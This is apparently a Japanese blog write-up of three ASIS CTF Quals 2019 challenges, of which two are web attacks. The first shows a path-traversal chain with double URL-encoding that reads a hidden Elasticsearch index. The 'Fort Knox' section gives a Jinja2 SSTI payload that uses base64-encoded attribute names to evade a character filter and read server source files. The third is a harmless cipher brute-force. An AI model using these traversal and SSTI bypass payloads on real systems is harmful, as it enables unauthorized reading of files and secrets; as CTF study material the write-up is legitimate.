q=*&endpoint=/../../../_search

応答は次の通り。

...
  {
    "title": "Flag Is Here, Grab it :)",
    "_id": "AWoSY9h7LaY_ZeX1ck78",
    "_type": "fl4g?",
    "downloadLink": null
  }
...

残念ながらまだflagはわからないが、これでflagが書かれているであろうドキュメントのidとtypeが判明した。

引き続きガチャガチャいじっているとid=AAA+BBBというリクエストを投げた際に"{\"error\":{\"root_cause\":[{\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"}],\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"},\"status\":400}"というエラーが返されることに気づく。BBB HTTP/1.1が無効なバージョンフォーマットということはバックエンドのElasticsearchサーバーに次のようなリクエストが投げられているということが想定できる。

GET /?????/?????AAA BBB HTTP/1.1
...

これを利用することで、indexは次のリクエストで調べることができる。なお、/_という文字列がblacklistされているようだが2回URLエンコードすることでこれを回避している(フロントエンドのWebサーバーで2度デコードされ、Elasticsearchで2回目のデコードがされる)。

id=/../../../%25%35%66aliases
"{\"secr3td4ta\":{\"aliases\":{}},\"articles\":{\"aliases\":{}}}"

これでindexがsecr3td4taであることが判明する。

あとは次のリクエストでflagが書かれているドキュメントを読みだすことができる。

id=/../../../secr3td4ta/fl4g%253f/AWoSY9h7LaY_ZeX1ck78
"{\"_index\":\"secr3td4ta\",\"_type\":\"fl4g?\",\"_id\":\"AWoSY9h7LaY_ZeX1ck78\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Flag Is Here, Grab it :)\",\"flag\":\"ASIS{2a6e210f10784c9a0197ba164b94f25d}\"}}"

flagは次の通り。

ASIS{2a6e210f10784c9a0197ba164b94f25d}

ASIS CTF Quals 2019 - Fort Knox Writeup

与えられたURLにアクセスすると次ようなページが表示される f:id:iso0:20190423234211p:plain

調査

Check door 1 🚪をクリックするとDoor #1 is lockedと表示されアクセスができない。他のドアについても同様。

question?というフォームにaaaと入力すると次のページが表示される。

f:id:iso0:20190423234443p:plain

ページのソースコードを見ると次の記述がありhttp://104.248.237.208:5000/static/archive/SourceにアクセスするとこのWebアプリのソースコードの一部を入手できる。

    <!--Source Code: /static/archive/Source -->

入手できるコードは次の通り。

question?で入力した値は12行目でテンプレートとして扱われていることがわかる。

t = Template(question)

解き方

入力値をそのままテンプレートとして使っているのでServer-Side Template Injection(SSTI)ができる*1。実際に{{ 1 + 2 }}と入力すると3が返ってくる。

f:id:iso0:20190423235726p:plainf:id:iso0:20190423235737p:plain

次のテンプレートを処理させることでflagにアクセスするための情報が書いてありそうなfort.pyを読みだしたいところだが入力値に._%のいずれかが含まれている場合に弾く処理があるのでこれを回避する必要がある。

{{ [].__class__.__base__.__subclasses__()[40]('fort.py').read() }}

色々試した結果、次のようにすることで制限を回避できた。

{{ []['X19jbGFzc19f'['decode']('base64')]['X19iYXNlX18='['decode']('base64')]['X19zdWJjbGFzc2VzX18='['decode']('base64')]()[40]('Zm9ydC5weQ=='['decode']('base64'))['read']() }}

応答は次の通り。

SECKEY = "some random key for signing 70657529378630738104827452603621"
FLAG = "ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}"
CORRECT_BEHAVIOUR = list(map(int, "34515465413625214253"))
PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ])

def history():
    return session.get("history", [])

def visit(door):
    session["history"] = history() + [door]
    if len(session["history"]) > len(CORRECT_BEHAVIOUR):
        session["history"] = session["history"][-len(CORRECT_BEHAVIOUR):]

def credit():
    credit = 0
    hst = history()
    for i in range(len(hst)):
        for j in range(len(hst) - i):
            if hst[i + j] == CORRECT_BEHAVIOUR[j]:
                credit += j
            else:
                break
    return credit

def trustworthy():
    return credit() == PERFECT_CREDIT

flagはコードに書いてある通り。

ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}

*1:詳しいことは https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti を読めばわかる

ASIS CTF Quals 2019 - A delicious soup Writeup

暗号化されたflagであるflag.encとflagを暗号化するsimple_and_delicious.py が与えられる。

simple_and_delicious.pyでは次のような処理をしている。

  1. 先頭の文字を末尾に移動(abcd -> bcda)
  2. 文字列を奇数番目の文字と偶数番目の文字に分け、奇数番目、偶数番目の順で連結(bcda -> bdca)
  3. 先頭の文字を末尾に移動(bdca -> dcab)
  4. 長さ7の変換テーブルに従い文字列をシャッフル(テーブルが[2, 3, 0, 1]の場合、dcab -> abdc)
  5. 1.から4.を1337回以下の規定の回数繰り返す

ここで、4.と5.は暗号化処理の実行のタイミングでランダムに決まる。上記の処理の逆を実装し、変換テーブルとイテレーションの回数を総当たりで試すことでflagが手に入る。

import itertools

enc_flag = "11d.3ilVk_d3CpIO_4nlS.ncnz3e_0S}M_kn5scpm345n3nSe_u_S{iy__4EYLP_aAAall"


def decrypt(msg, perm):
    res = []
    W = len(perm)
    for j in range(0, len(msg), W):
        for k in range(W):
            res.append(msg[j:j+W][perm[k]])
    res = list(res[-1]) + res[:-1]
    s = []
    for i in range(len(res) // 2):
        s.append(res[i])
        s.append(res[i + len(res) // 2])
    res = s
    res = list(res[-1]) + res[:-1]
    return "".join(res)


perm = range(7)
for p in itertools.permutations(perm):
    print(p)
    flag = enc_flag
    for _ in range(1338):
        flag = decrypt(flag, p)
        if flag[:5] == "ASIS{":
            print(flag)
            exit()

ASIS{1n54n3ly_Simpl3_And_d3lic1Ous_5n4ckS_eVEn_l4zY_Pe0pL3_Can_Mak3}